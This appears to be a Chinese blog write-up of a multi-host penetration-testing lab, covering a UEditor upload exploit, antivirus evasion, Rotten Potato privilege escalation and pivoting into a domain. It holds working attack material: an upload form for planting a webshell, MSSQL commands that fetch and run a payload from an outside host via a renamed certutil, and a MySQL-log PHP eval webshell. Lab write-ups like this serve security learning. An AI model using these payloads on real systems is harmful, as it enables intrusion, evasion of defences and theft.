环境搭建
https://mp.weixin.qq.com/s/VB4elHdrHNCmPDP_ktcLRg
https://www.bilibili.com/video/BV1264y187St?spm_id_from=333.1007.top_right_bar_window_history.content.click
按照文章拓扑根据实际情况搭建好,web2的其中一个网卡需要自己调一下ip
1、把 12server-web1 中 C:Hws.com/Hws/HostMaster/wwwroot/www.ackmoon.com/web/HdhApp.config 的 ip 地址换成 12server-data1 的地址
2、攻击机绑定host文件,192.168.59.130 ackmoon.com
挑战开始
任务:拿到五个主机权限
信息搜集
开了一些端口,先看web服务,是一个HDH网站管理系统(HDHCMS),查看历史漏洞没有发现有用的,访问其他的的web服务也没发现,只能使劲撸这个cms了
后台路径:http://ackmoon.com/admin/login.aspx,爆破之后没发现弱口令,但是可以自己注册用户
登录发现一些信息,物理路径、数据库、上传目录、编辑器
Ueditor漏洞利用
Ueditor 1.4.3有个文件上传漏洞,具体操作如下:
使用冰蝎和一张图片制作图片马
本地写一个上传木马的脚本
<form action="http://ackmoon.com/admin/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
将图片马上传到服务器上,开启http服务,木马的路径为 http://1.12.x.x/ok.png?.aspx,点击上传会返回shell的地址
使用冰蝎连接,查看权限后发现权限很低,得用cs进行提权才能找flag等操作
CS提权横向
./teamserver 1.12.x.x 123456 客户端填好服务器地址和密码连接即可
上传的马执行直接没,猜测应该是360杀掉了,登录靶机一看好家伙,全给我删了。就连powershell执行都被拦截了
继续研究了几天发现之前的掩日已经绕不过360,只能找别的办法,后面在github上找了几个Bypass的cs插件,发现其中一个可以绕过360的检测,地址为 https://github.com/cseroad/bypassAV。(后续补充一下免杀的学习内容)
按作者的使用教程生成木马,冰蝎占用内存较大(当你的电脑开着几个虚拟机和应用时内存会不够用)执行命令有时候会失败,所以新增了一个aspx一句话用蚁剑连接。将木马上传到 C:/Windows/Temp 目录下,其他目录因为权限问题可能上传不了。蚁剑执行木马,360也没有拦截的记录,成功在cs获得shell。
接下来就是提权,推荐插件 https://github.com/d3ckx1/OLa,内集成多个提权插件,用烂土豆(Rotten Potato) MS16-075成功提权到SYSTEM权限
一般来说得到SYSTEM权限可以看看主机有没有开启3389,新增一个用户登录就行,但是这个靶机没有开启,利用这个靶机当作跳板进行内网渗透即可。
查看网卡信息可知主机为双网卡,我们现在处于192.168.59.1/24这个网段,下一个网段是192.168.22.1/24,需要在此网段寻找其他的机子。
查看主机的arp表可以获取处于同一网段的主机,发现了192.168.22.129、133两个主机,使用该主机也都ping通,存活状态
之前在蚁剑中查看数据库文件的时候看到过133的主机ip,也就是说改站点和133的主机是站库分离,133专门运行数据库,为sqlserver。账号密码为:sa:pass123@.com
添加socks代理进入内网,ip为cs服务端的ip,端口4567
mssql获取权限
本地使用Proxifier工具连接代理服务器,再使用数据库连接工具连接133的数据库,通过数据库getshell
查看xp_cmdshell的状态
exec sp_configure;
按理来说应该是关闭的,但是这里显示已经开启了,我们直接执行命令即可。原本想通过cs生成的powershell命令直接上线主机但是一直没反应,查看进程发现一个火绒再运行,登录靶机一看全被拦截了
绕过方式见:https://xz.aliyun.com/t/9265,免杀木马制作:https://github.com/xinghe0/python-shellcode-loader
#开启相应的权限
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
#移动sethc
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';
#下载免杀木马
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://1.x.x.x:4446/ob.exe" C:\Windows\Temp\ob.exe';
#运行木马
exec master..xp_cmdshell 'C:/windows/temp/ob.exe';
成功上线cs
权限太低,继续烂土豆(Rotten Potato) MS16-075提权,到这里已经拿下133的主机了,查看路由表也是发现了前面web那台arp缓存的另一台主机ip
192.168.22.129的
JWT+mysql日志getshell
使用fscan进行扫描的时候发现129运行着web服务
浏览器添加代理后访问129,访问web站点
这里考察的是jwt的攻击方式,文章见:https://mp.weixin.qq.com/s/WvVgavjJMXSZQsVFtHEOhA?vid=1688855618368326&deviceid=e41dee7e-b83b-4610-8a9a-e648ac6ca813&version=4.0.20.6020&platform=win
试了修改用户名admin重新生成x-token来替换demo用户绕过,发现这个系统校验签名。又试了将alg设置为 None 重新签名发送也失败了。只剩下了爆破密钥的方式,但是字典看了别人的解析才知道是kali里面的rockyou.txt
爆破工具:https://github.com/ticarpi/jwt_tool,密钥为:Qweasdzxc5
后面以为这个密钥是突破jwt的关键点,没想到这个靶场把这个密钥设置为http://192.168.22.129/phpmyadmin4.8.5/index.php的登录密码,感觉逻辑上有些迷。登录后就是mysql日志 getshell那一套。
#查看日志路径、开启日志、设置日志文件、写入木马
SHOW VARIABLES LIKE 'general%'
SET GLOBAL general_log='ON'
SET GLOBAL general_log_file='C:/phpStudy_pro/WWW/s.php'
SELECT '<?php @eval($_POST["a"]);?>'
蚁剑连接(挂代理,后续需要和129进行交互的都要挂上代理),发现新网段,并且不出网
在cs上新建一个正向监听器并生成木马(beacon tcp)
用蚁剑上传到服务器执行,cs转发,成功获取shell
5.exe #在服务器中执行
connect 192.168.22.129 443 #在128会话中执行
shell ipconfig /all # 发现主机在域内,域名为ack123.com
shell ping ack123.com #定位域控的ip为10.10.10.135
SPN利用
因环境问题没法复现,题解参考:https://blog.csdn.net/qq_38850916/article/details/124801004 的kerberost攻击部分
总结
该靶机在搭建的时候会有部分问题,不知道是不是靶机主后续又对其进行修改,但是其中的免杀、代理等内容还是很贴切实战的。自己对内网域渗透这部分了解的还不够透彻,毕竟也不是专门搞红队的,以后若有机会会多多接触。